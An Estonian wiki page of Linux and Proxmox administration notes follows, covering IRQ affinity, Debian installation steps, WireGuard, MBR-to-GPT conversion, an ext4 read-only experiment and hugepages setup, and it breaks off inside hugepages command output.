Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;br /&gt;
&lt;br /&gt;
===Võrgukaart - CPU affinity===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Järgneval viisil tegutsemiseks on vaja ircbalance deemoni töö lõpetada&lt;br /&gt;
&lt;br /&gt;
 # systemctl stop irqbalance&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi multi-queue omadused&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ethtool -l eth0&lt;br /&gt;
Channel parameters for eth0:&lt;br /&gt;
Pre-set maximums:&lt;br /&gt;
RX:		8&lt;br /&gt;
TX:		8&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
Current hardware settings:&lt;br /&gt;
RX:		2&lt;br /&gt;
TX:		2&lt;br /&gt;
Other:		0&lt;br /&gt;
Combined:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Võrgukaardi ja cpu ja interrupt vahelised seosed&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/interrupts | egrep &amp;quot;CPU|eth&amp;quot;&lt;br /&gt;
        CPU0      CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       &lt;br /&gt;
  48:      0         0          0         38          0    1339257     461106          0   PCI-MSI 2097152-edge      eth0-0&lt;br /&gt;
  49:      0         0          1         67    2071270          0          0     143901   PCI-MSI 2097153-edge      eth0-1&lt;br /&gt;
  57:      0         0    1738287          4          0          0          0          0   PCI-MSI 2099200-edge      eth1-0&lt;br /&gt;
  58:      0   3918708          0         38          0          0          0          0   PCI-MSI 2099201-edge      eth1-1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 48, 49 jnt on interrupt number&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /proc/irq/57/smp_affinity&lt;br /&gt;
04&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* hex 04 vastav väärtus on bin 0000 0100&lt;br /&gt;
* bin väärtuses olev paremalt kolmandal positsioonil olev '1' tähistab süsteemis olevat kolmandat protsessorit, st alates nullist lugedes CPU2&lt;br /&gt;
&lt;br /&gt;
Affinity muutmiseks, st selle muutmiseks, milline cpu tegeleb millise võrgukaardiga (või võrgukaardi queue'ga) sobib öelda uus cpu number, nt seostamiseks CPU3 protsessoriga&lt;br /&gt;
&lt;br /&gt;
 # echo 08 &amp;gt; /proc/irq/57/smp_affinity&lt;br /&gt;
&lt;br /&gt;
CPU numeratsioon&lt;br /&gt;
&lt;br /&gt;
* 0000 0001 (bin) ehk 01 (hex) - esimene (CPU0)&lt;br /&gt;
* 0000 0010 (bin) ehk 02 (hex) - teine (CPU1)&lt;br /&gt;
* 0000 0100 (bin) ehk 04 (hex) - kolmas (CPU2)&lt;br /&gt;
* ...&lt;br /&gt;
* 1000 0000 (bin) ehk 80 (hex) - kahesas (CPU7)&lt;br /&gt;
&lt;br /&gt;
Tundub, et võrgukaardi queue'de arvu muutmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # ethtool -L eth0 tx 2&lt;br /&gt;
 # ethtool -L eth0 rx 2&lt;br /&gt;
&lt;br /&gt;
Siin kirjeldatud viisil tehtud seadistused ei kehtestu peale rebooti.&lt;br /&gt;
&lt;br /&gt;
===Watchdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://github.com/miniwark/miniwark-howtos/wiki/Hardware-Watchdog-Timer-setup-on-Ubuntu-12.04&lt;br /&gt;
* http://odroid.com/dokuwiki/doku.php?id=en:odroid_linux_watchdog&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability&lt;br /&gt;
* https://pve.proxmox.com/wiki/High_Availability_Cluster_4.x&lt;br /&gt;
* https://lesterlo.wordpress.com/2017/06/23/enable-ipmi-watchdog/&lt;br /&gt;
* http://www.madore.org/~david/linux/iTCO-wdt-test.html&lt;br /&gt;
* https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/virtualization_administration_guide/section-libvirt-dom-xml-watchdog&lt;br /&gt;
* https://casesup.com/using-the-nmi-watchdog-to-detect-hangs/&lt;br /&gt;
* https://gist.githubusercontent.com/wmealing/5523247/raw/4dc0474cabc35a9b79cd49fc7eab1f027ea80606/nmi-interrupts.txt&lt;br /&gt;
* https://github.com/spotify/linux/blob/master/Documentation/nmi_watchdog.txt&lt;br /&gt;
&lt;br /&gt;
===Softdog===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc===&lt;br /&gt;
&lt;br /&gt;
* Kopeerimise kiiruse kontrollimine pipe peal&lt;br /&gt;
&lt;br /&gt;
 # apt-get install pv&lt;br /&gt;
 # ssh root@192.168.112.113 'cd /tmp &amp;amp;&amp;amp; dd if=/dev/pve/vm-109-disk-1 bs=1M' | pv -L 15m | dd of=/dev/kvmvg/vm-1019-disk-1 bs=1M&lt;br /&gt;
&lt;br /&gt;
===Viber===&lt;br /&gt;
&lt;br /&gt;
Viber https://www.viber.com/ on suhtlemistarkvara, paigaldamiseks sobib öelda nt Debian v. 8 ja v. 9 keskkonnas&lt;br /&gt;
&lt;br /&gt;
 # apt-get install libxcb-xkb1 libxcb-icccm4 libxcb-image0 libxcb-render-util0&lt;br /&gt;
 # apt-get install libqt5gui5&lt;br /&gt;
 # dpkg -i viber.com&lt;br /&gt;
&lt;br /&gt;
ja käivitamiseks&lt;br /&gt;
&lt;br /&gt;
 $ /opt/viber/Viber&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://daksaitay.noblogs.org/post/2017/01/17/viber-on-debian-8-jessie-desktop/&lt;br /&gt;
* http://www.roydoer.com/viber-on-ubuntu-14-04-64bit/&lt;br /&gt;
&lt;br /&gt;
===KeePassX===&lt;br /&gt;
&lt;br /&gt;
MÄRKUS 20190126 - tundub, et õigem projekt on https://en.wikipedia.org/wiki/KeePassXC (C nagu community ja paketinimi keepassxc)&lt;br /&gt;
&lt;br /&gt;
 # apt-get intall keepassx&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .kdbx&lt;br /&gt;
&lt;br /&gt;
===Password Gorilla===&lt;br /&gt;
&lt;br /&gt;
 # apt-get install password-gorilla&lt;br /&gt;
&lt;br /&gt;
andmebaasi failinime lõpp on .psafe3&lt;br /&gt;
&lt;br /&gt;
===2018 - Debian v. 9 Stretch paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===2019 - Debian v. 10 Buster paigaldamine===&lt;br /&gt;
&lt;br /&gt;
Installeris menüüde läbimise näide&lt;br /&gt;
&lt;br /&gt;
* Installeri keel - &amp;quot;English&amp;quot;&lt;br /&gt;
* Select your location: Other &amp;gt; Europe &amp;gt; Estonia&lt;br /&gt;
* Configure locales - United States - en_US.UTF-8&lt;br /&gt;
* Keymap to use - Estonian&lt;br /&gt;
* Hostname - ühekohalinenimi (vist tulemus sõltub kas võrk eelnevalt just seadistati dhcp'ga, antud näites nii oli)&lt;br /&gt;
* Domain name - sise.moraal.ee&lt;br /&gt;
* Root password - parool&lt;br /&gt;
* User name - nimi&lt;br /&gt;
* User password - parool&lt;br /&gt;
* partitsioonimine (nt efi + lvm)&lt;br /&gt;
* Configure package manager - Estonia - ftp.ee.debian.org&lt;br /&gt;
* HTTP proxy - tühi&lt;br /&gt;
* Contest - no&lt;br /&gt;
* Software selection - OpenSSH server ja standard system utilities&lt;br /&gt;
* Reboot&lt;br /&gt;
&lt;br /&gt;
===linux-perf===&lt;br /&gt;
&lt;br /&gt;
====Paigldamine====&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks sobib öeld&lt;br /&gt;
&lt;br /&gt;
 # apt-get install linux-perf&lt;br /&gt;
&lt;br /&gt;
====Kasutamine====&lt;br /&gt;
&lt;br /&gt;
perf.data faili salvestamine käesolevasse kataloogi&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf record -e sched:sched_process_exec -a&lt;br /&gt;
&lt;br /&gt;
Salvestatud andmete loetaval kujul esitamine&lt;br /&gt;
&lt;br /&gt;
 # /usr/bin/perf script --header&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* http://www.brendangregg.com/perf.html&lt;br /&gt;
&lt;br /&gt;
===Wireguard===&lt;br /&gt;
&lt;br /&gt;
====Debian v. 10 Buster====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
Lisada buster-backports repo&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
Paigaldada buster-backports repost wireguard&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* paigaldatakse wireguard-dkms wireguard-tools wireguard&lt;br /&gt;
* paigaldatakse hulka bui&lt;br /&gt;
&lt;br /&gt;
====Debian v. 11 Bullseye====&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wireguard&lt;br /&gt;
&lt;br /&gt;
====Debian v. 12 Bookworm====&lt;br /&gt;
&lt;br /&gt;
Töötamine paistab nö serveri poolel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@debian-vpn:~# systemctl status wg-quick@wg0&lt;br /&gt;
● wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0&lt;br /&gt;
     Loaded: loaded (/lib/systemd/system/wg-quick@.service; enabled; preset: enabled)&lt;br /&gt;
     Active: active (exited) since Tue 2025-04-01 16:46:09 EEST; 9 months 19 days ago&lt;br /&gt;
       Docs: man:wg-quick(8)&lt;br /&gt;
             man:wg(8)&lt;br /&gt;
             https://www.wireguard.com/&lt;br /&gt;
             https://www.wireguard.com/quickstart/&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg-quick.8&lt;br /&gt;
             https://git.zx2c4.com/wireguard-tools/about/src/man/wg.8&lt;br /&gt;
   Main PID: 7536 (code=exited, status=0/SUCCESS)&lt;br /&gt;
        CPU: 30ms&lt;br /&gt;
&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip link set mtu 1420 up dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.68/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.170/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.15/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.14/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.13/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.12/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.11/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn wg-quick[7536]: [#] ip -4 route add 10.168.112.10/32 dev wg0&lt;br /&gt;
Apr 01 16:46:09 debian-10-vpn systemd[1]: Finished wg-quick@wg0.service - WireGuard via wg-quick(8) for wg0.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Seadistusfail&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/etc/wireguard/wg0.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===MBR -&amp;gt; GPT partitsioonitabeli teisendamine===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
* MBR partitsioonitabel hõlvab tavalisel lihtsal juhul plokkseadme esimsesed 512 Baiti&lt;br /&gt;
* GPT partitsioonitabel hõlvab tavaliselt plokkseadme esimsed ja viimased 34 * 512 Baiti&lt;br /&gt;
* tundub, et seoses uuema ajal 1 MBait piirile asjade sättimisega algab nii MBR kui GPT puhul esimene partitsioon 2048'ndal sektoril; st plokkseadme alguses on rikkalikult vaba ruumi teisendatud gpt jaoks; probleemiks võib olla, plokkseadme lõpus pole piisavalt vaba ruumi backup gpt jaoks&lt;br /&gt;
* sektori suurus on 512 Baiti&lt;br /&gt;
* MBR partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 16 baiti, millest 4 baiti ehk 16 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^32*512/1024^3 | bc -&amp;gt; 2048 Gigabyte)&lt;br /&gt;
* GPT partitsioonitabelis on ühte partitsiooni puudutava sissekande suurus 128 baiti, millest 8 baiti ehk 64 bitti on kasutusel partitsiooni moodustavate sektorite hulga tähistamiseks (# echo 2^64*512/1024^3 | bc -&amp;gt; väga palju)&lt;br /&gt;
* muudatuse käigus partitsioone moodustavaid plokke plokkseadmel ümber ei paigutata&lt;br /&gt;
* kui mbr partitsioonitabelis on kasutusel ainult primaarsed partitsioonid ning ilma nö aukudeta partitsioonide vahel, siis on tulemuseks samuti ilma aukudeta üksteisele järgnevad gpt partitsioonid&lt;br /&gt;
* antud tekst ei kästile seda, aga boot kood asub mbr puhul esimeses 446 baidis&lt;br /&gt;
* gpt puhul põhimõtteliselt boot koodi ei ole kasutusel uefi põhises süsteemis (kasutatakse efi partitsiooni)&lt;br /&gt;
&lt;br /&gt;
====Teisendamine====&lt;br /&gt;
&lt;br /&gt;
Olgu lähtepunktiks selline plokkseadme kasutus, mbr partitsioonitabel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: dos&lt;br /&gt;
Disk identifier: 0xdaa60afa&lt;br /&gt;
&lt;br /&gt;
Device     Boot Start      End  Sectors  Size Id Type&lt;br /&gt;
/dev/vdc1        2048 33097727 33095680 15.8G 83 Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning partitsioonil üks ext4 failisüsteem, mis on monteeritud&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# df -h -T /dev/vdc1&lt;br /&gt;
Filesystem     Type  Size  Used Avail Use% Mounted on&lt;br /&gt;
/dev/vdc1      ext4   16G  1.7G   13G  12% /mnt/vdc1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eesmärk on teisendada partitsioonitabel gpt kujule säilitades seejuures failisüsteemi sisu. Selleks sobib kasutada sellist protseduuri, esmalt monteerida failisüsteem lahti&lt;br /&gt;
&lt;br /&gt;
 # umount /dev/vdc1&lt;br /&gt;
&lt;br /&gt;
seejärel teha mbr partitsioonitabelist varukoopia&lt;br /&gt;
&lt;br /&gt;
 # dd if=/dev/vdc of=backup.mbr bs=512 count=1&lt;br /&gt;
&lt;br /&gt;
gdisk ehk 'gpt fdisk' programm sobib gpt partitsioonitabeli haldamiseks, sealhulgas vaikimisi ta püüab mbr partitsioonitabeli teisendada gpt kujule. See on tehniliselt tavaliselt võimalik kuna mbr asub plokkseadme alguses ja seal on nö kasutamata ruumi.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# gdisk /dev/vdc&lt;br /&gt;
GPT fdisk (gdisk) version 0.8.10&lt;br /&gt;
&lt;br /&gt;
Partition table scan:&lt;br /&gt;
  MBR: MBR only&lt;br /&gt;
  BSD: not present&lt;br /&gt;
  APM: not present&lt;br /&gt;
  GPT: not present&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
***************************************************************&lt;br /&gt;
Found invalid GPT and valid MBR; converting MBR to GPT format&lt;br /&gt;
in memory. THIS OPERATION IS POTENTIALLY DESTRUCTIVE! Exit by&lt;br /&gt;
typing 'q' if you don't want to convert your MBR partitions&lt;br /&gt;
to GPT format!&lt;br /&gt;
***************************************************************&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Command (? for help): w&lt;br /&gt;
&lt;br /&gt;
Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTING&lt;br /&gt;
PARTITIONS!!&lt;br /&gt;
&lt;br /&gt;
Do you want to proceed? (Y/N): Y&lt;br /&gt;
OK; writing new GUID partition table (GPT) to /dev/vdc.&lt;br /&gt;
The operation has completed successfully.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* programm tuvastab esmalt, et plokkseadmel on kasutusel MBR partitsioonitabel&lt;br /&gt;
* w abil tehakse muudatus&lt;br /&gt;
* Y abil kirjutatakse muudatus üles&lt;br /&gt;
&lt;br /&gt;
Kuna Linux operatsioonisüsteemi puhul eristatakse plokkseadmel ja mälus olevat seisu plokkseadme kasutusest, siis tuleks täielikuks muudatuse kehtestamiseks teha lihtsalt reboot arvutile või öelda&lt;br /&gt;
&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
&lt;br /&gt;
Tulemusena kasutatakse plokkseadmel gpt partitsioonitabelit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# fdisk /dev/vdc -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/vdc: 16 GiB, 17179869184 bytes, 33554432 sectors&lt;br /&gt;
Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
Disklabel type: gpt&lt;br /&gt;
Disk identifier: 469E6D74-0022-4200-B0FD-2C5FAED7DCAD&lt;br /&gt;
&lt;br /&gt;
Device     Start      End  Sectors  Size Type&lt;br /&gt;
/dev/vdc1   2048 33302527 33300480 15.9G Linux filesystem&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Muudatuse tagasivõtmine====&lt;br /&gt;
&lt;br /&gt;
Muudatuse tagasivõtmiseks sobib öelda (kuigi nii jääb alles plokkseadme lõppu gpt backup; teatud bios'ide puhul võib see tekitada probleeme, bios on agar ja taastab selle alusel primaarse gpt partitsioonitabeli)&lt;br /&gt;
&lt;br /&gt;
 # umount /mnt/vdc1&lt;br /&gt;
 # dd if=backup.mbr of=/dev/vdc bs=512 count=1&lt;br /&gt;
 # partprobe /dev/vdc&lt;br /&gt;
 # mount /dev/vdc1 /mnt/vdc1&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://easylinuxji.blogspot.com/2018/12/what-is-disk-partitioning-disk.html&lt;br /&gt;
* https://dannyda.com/2021/05/07/how-to-convert-ubuntu-20-04-1-lts-os-disk-from-mbr-to-gpt-gpt-to-mbr-without-losing-data/&lt;br /&gt;
* http://www.rodsbooks.com/gdisk/mbr2gpt.html&lt;br /&gt;
&lt;br /&gt;
===Kasutajakonto operatsioonid===&lt;br /&gt;
&lt;br /&gt;
Konto lukustamine kusjuures see takistab ainult parooliga autentimist, nt ssh võtmega saab sisse&lt;br /&gt;
&lt;br /&gt;
 # passwd -l kasutajanimi&lt;br /&gt;
 # passwd -u kasutajanimi&lt;br /&gt;
&lt;br /&gt;
Konto expire, see takistab igasuguseid kanaleid (eeldab, et pam vms on seadistatud expirega tegelema)&lt;br /&gt;
&lt;br /&gt;
 # usermod --expiredate 1 kasutajanimi&lt;br /&gt;
&lt;br /&gt;
===grep kasutamine===&lt;br /&gt;
&lt;br /&gt;
Perl regulaaravalidsega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TODO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestikulised grep'id ei toimi vahel, aitab nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# tail -f /var/log/pveproxy/access.log  | grep --line-buffered &amp;quot;PUT&amp;quot; | grep --line-buffered firewall | grep --line-buffered option&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Debian v. 12 ext4 failisüsteem read-only olekus===&lt;br /&gt;
&lt;br /&gt;
Tundub, et kõige tavalisem Debian v. 12 paigaldus, mis kasutab ext4 failisüsteemi (lvm kihi peal) käitub read-only olekus selliselt, et avatud failidesse mingil määral näiliselt kirjutamised jätkuvad. Seejuures kirjutajale jääb mulje, et kirjutamine õnnestus lõpetada edukalt. (Samal ajal uusi faile ei saa tekitada, olemasolevate failide muutmisi ei saa alustada.) Nähtuse jälgimiseks-taaskordamiseks-esilekutsumiseks sobib selline protseduur&lt;br /&gt;
&lt;br /&gt;
1. Proxmox PVE keskkonnas töötab lvm põhisel storage'l Debian v. 12 virtuaalne arvuti; arvutis on kasutusel lvm ja sellel ext4 failisüsteem (lvm ei ole oluline)&lt;br /&gt;
&lt;br /&gt;
2. Alustatakse eemalt pv abil piiratud kiirusega faili kopeerimist (etteruttavalt on siin toodud ära ka kopeeriv cat programmi edukas exit code; fail.img-4 on 36 MB suur)&lt;br /&gt;
&lt;br /&gt;
 $ cat fail.img-4 | ssh root@192.168.110.246 'pv -q -L3500K | cat &amp;gt; /root/tere4; echo $?' &lt;br /&gt;
 0&lt;br /&gt;
&lt;br /&gt;
3. umbes kolmveerandi kopeerimise pealt viiakse PVE host peal virtuaalsele arvutile vastav plokkseade read-only olekusse&lt;br /&gt;
&lt;br /&gt;
 # lvchange -pr vg_data/vm-615-disk-2&lt;br /&gt;
&lt;br /&gt;
4. ootus on, et virtuaalne arvuti reageerib sellele oma juurfailisüsteemi read-only olekusse lülitamisega&lt;br /&gt;
&lt;br /&gt;
5. ootus on, et kopeerimine lõpeb edukalt&lt;br /&gt;
&lt;br /&gt;
6. ootus on, et vaatamata read only olekule Debian operatsioonisüsteemi saab veel natuke kasutada, ja küsida (tulemus klapib orig fail.img-4 failiga)&lt;br /&gt;
&lt;br /&gt;
 # sha256sum /root/tere4&lt;br /&gt;
&lt;br /&gt;
7. virtuaalne arvuti stop'itakse PVE abil&lt;br /&gt;
&lt;br /&gt;
8. viiakse plokkseade tagasi rw režiimi&lt;br /&gt;
&lt;br /&gt;
 # lvchange -prw vg_data/vm-615-disk-2 &lt;br /&gt;
&lt;br /&gt;
9. käivitatakse virtuaalne arvuti&lt;br /&gt;
&lt;br /&gt;
10. kõnealune fail, mis näiliselt õnnestus edukalt kopeerida, on väiksema suurusega (või suurusega null)&lt;br /&gt;
&lt;br /&gt;
Märkused&lt;br /&gt;
&lt;br /&gt;
* analoogselt käitub Ubuntu v. 22.04&lt;br /&gt;
* Ubuntu v. 22.04 (ja tõenäoliselt Debian v. 12) + ext3 failisüsteem nö hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* Vanemad Ubuntu ja Debian versioonid hoiavad kinni read-only lubadusest ja sellist nähtust ei toimu&lt;br /&gt;
* PVE host peal lvchange ütlemisele alternatiiviks on virtuaalse arvuti siseselt öelda&lt;br /&gt;
&lt;br /&gt;
 # echo u &amp;gt; /proc/sysrq-trigger&lt;br /&gt;
&lt;br /&gt;
* lisaks PVE keskkonnale toimub analoogiline nähtus vmware virtuaalse arvutiga&lt;br /&gt;
&lt;br /&gt;
===machine-id reset===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# rm /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
# dbus-uuidgen | tee /etc/machine-id &amp;gt; /var/lib/dbus/machine-id&lt;br /&gt;
# chmod 0444 /etc/machine-id&lt;br /&gt;
# ls -ld /etc/machine-id /var/lib/dbus/machine-id&lt;br /&gt;
-r--r--r-- 1 root root 33 Apr  7 19:18 /etc/machine-id&lt;br /&gt;
-rw-r--r-- 1 root root 33 Apr  7 19:18 /var/lib/dbus/machine-id&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Hugepages===&lt;br /&gt;
&lt;br /&gt;
* TLB - Translation Lookaside Buffer&lt;br /&gt;
* THP - Transparent Huge Pages&lt;br /&gt;
&lt;br /&gt;
Nö tavalises proxmox pve arvutis on selline hugepagendus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pm60-trt:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tundub, et niipea kui käivitatakse virtuaalne arvuti, mis sisaldab parameetrit 'hugepages: ...' tekitatakse kaks juurde&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# df -a -t hugetlbfs&lt;br /&gt;
Filesystem     1K-blocks  Used Available Use% Mounted on&lt;br /&gt;
hugetlbfs              0     0         0    - /dev/hugepages&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/2048kB&lt;br /&gt;
hugetlbfs              0     0         0    - /run/hugepages/kvm/1048576kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning seda tehakse läbi nö käigult konstrueeritud systemd mount unitite&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# systemctl | grep huge&lt;br /&gt;
  dev-hugepages.mount                                                                                           loaded active     mounted   Huge Pages File System&lt;br /&gt;
  run-hugepages-kvm-1048576kB.mount                                                                             loaded active     mounted   /run/hugepages/kvm/1048576kB&lt;br /&gt;
  run-hugepages-kvm-2048kB.mount                                                                                loaded active     mounted   /run/hugepages/kvm/2048kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Üks viis 1G hugepagendust lähtestada on kasutades sellist kernel-command-line'i&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# cat /proc/cmdline &lt;br /&gt;
initrd=\EFI\proxmox\6.8.8-2-pve\initrd.img-6.8.8-2-pve root=ZFS=rpool/ROOT/pve-1 boot=zfs default_hugepagesz=1G hugepagesz=1G hugepages=24&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemusena paistab&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# grep -i huge /proc/meminfo &lt;br /&gt;
AnonHugePages:         0 kB&lt;br /&gt;
ShmemHugePages:        0 kB&lt;br /&gt;
FileHugePages:         0 kB&lt;br /&gt;
HugePages_Total:      24&lt;br /&gt;
HugePages_Free:       24&lt;br /&gt;
HugePages_Rsvd:        0&lt;br /&gt;
HugePages_Surp:        0&lt;br /&gt;
Hugepagesize:    1048576 kB&lt;br /&gt;
Hugetlb:        25165824 kB&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@valgustaja1:~# hugeadm --explain&lt;br /&gt;
Total System Memory: 192906 MB&lt;br /&gt;
&lt;br /&gt;
Mount Point                  Options&lt;br /&gt;
/dev/hugepages               rw,relatime,pagesize=1024M&lt;br /&gt;
/run/hugepages/kvm/2048kB    rw,relatime,pagesize=2M&lt;br /&gt;
/run/hugepages/kvm/1048576kB rw,relatime,pagesize=1024M&lt;br /&gt;
&lt;br /&gt;
Huge page pools:&lt;br /&gt;
      Size  Minimum  Current  Maximum  Default&lt;br /&gt;
